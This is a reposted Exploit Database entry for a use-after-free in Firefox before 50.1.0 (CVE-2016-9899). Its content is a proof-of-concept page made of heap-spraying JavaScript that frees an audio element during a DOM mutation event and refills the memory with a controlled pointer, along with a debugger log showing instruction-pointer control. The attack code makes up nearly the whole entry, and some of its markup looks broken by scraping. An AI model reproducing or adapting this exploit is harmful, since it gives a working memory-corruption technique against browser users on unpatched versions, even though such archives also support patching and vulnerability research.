Mozilla Firefox < 50.1.0 - Use-After-Free

Exploit Database
111 阅读

作者： Marcin Ressel

日期： 2017-01-13
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/41042/

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<!DOCTYPE html>

<html>

<head>

body{

background-color:lime;

font-color:red;

};

</style>

* Mozilla Firefox < 50.1.0 Use-After-Free POC

* Author: Marcin Ressel

* Date: 13.01.2017

* Vendor Homepage: www.mozilla.org

* Software Link: https://ftp.mozilla.org/pub/firefox/releases/50.0.2/

* Version: < 50.1.0

* Tested on: Windows 7 (x64) Firefox 32 && 64 bit

* CVE: CVE-2016-9899

*************************************************

* (b1c.5e0): Access violation - code c0000005 (first chance)

* First chance exceptions are reported before any exception handling.

* This exception may be expected and handled.

*** ERROR: Symbol file could not be found.Defaulted to export symbols for C:\Program Files (x86)\Mozilla Firefox\xul.dll -

* eax=0f804c00 ebx=00000000 ecx=003be0c8 edx=4543484f esi=003be0e4 edi=06c71580

* eip=6d7cc44c esp=003be0b8 ebp=003be0cc iopl=0 nv up ei pl nz na pe nc

* cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00010206

* xul!mozilla::net::LoadInfo::AddRef+0x3dd41:

* 6d7cc44c ff12calldword ptr [edx]ds:002b:4543484f=????????

* 0:000> dd eax

* 0f804c004543484f 91919191 91919191 91919191

* 0f804c1091919191 91919191 91919191 91919191

* 0f804c2091919191 91919191 91919191 91919191

* 0f804c3091919191 91919191 91919191 91919191

* 0f804c4091919191 91919191 91919191 91919191

* 0f804c5091919191 91919191 91919191 91919191

* 0f804c6091919191 91919191 91919191 91919191

* 0f804c7091919191 91919191 91919191 91919191

var doc = null;

var cnt = 0;

function m(blocks,size) {

var arr = [];

for(var i=0;i<blocks;i++) {

arr[i] = new Array(size);

for(var j=0;j<size;j+=2) {

arr[i][j] = 0x41414141;

arr[i][j+1] = 0x42424242;

}

return arr;

}

function handler() {//free

if(cnt > 0) return;

doc.body.appendChild(document.createElement("audio")).remove();

m(1024,1024);

++cnt;

}

function trigger() {

if(cnt> 0) {

var pl = new Array();

doc.getElementsByTagName("*")[0].removeEventListener("DOMSubtreeModified",handler,false);

for(var i=0;i<4096;i++) { //replace

pl[i]=new Uint8Array(1000);

pl[i][0] = 0x4F;

pl[i][1] = 0x48;

pl[i][2] = 0x43;

pl[i][3] = 0x45; //eip

for(var j=4;j<(1000) - 4;j++) pl[i][j] = 0x91;

// pl[i] = document.createElement('media');

//document.body.appendChild(pl[i]);

}

window.pl = pl

document.getElementById("t1").remove(); //re-use

}

function testcase()

{

var df = m(4096,1000);

document.body.setAttribute('df',df);

doc = document.getElementById("t1").contentWindow.document;

doc.getElementsByTagName("*")[0].addEventListener("DOMSubtreeModified",handler,false);

doc.getElementsByTagName("*")[0].style = "ANNNY";

setInterval("trigger();",1000);

}

</script>

<title>Firefox < 50.1.0 Use After Free (CVE-2016-9899) </title>

</head>

</body>

</html>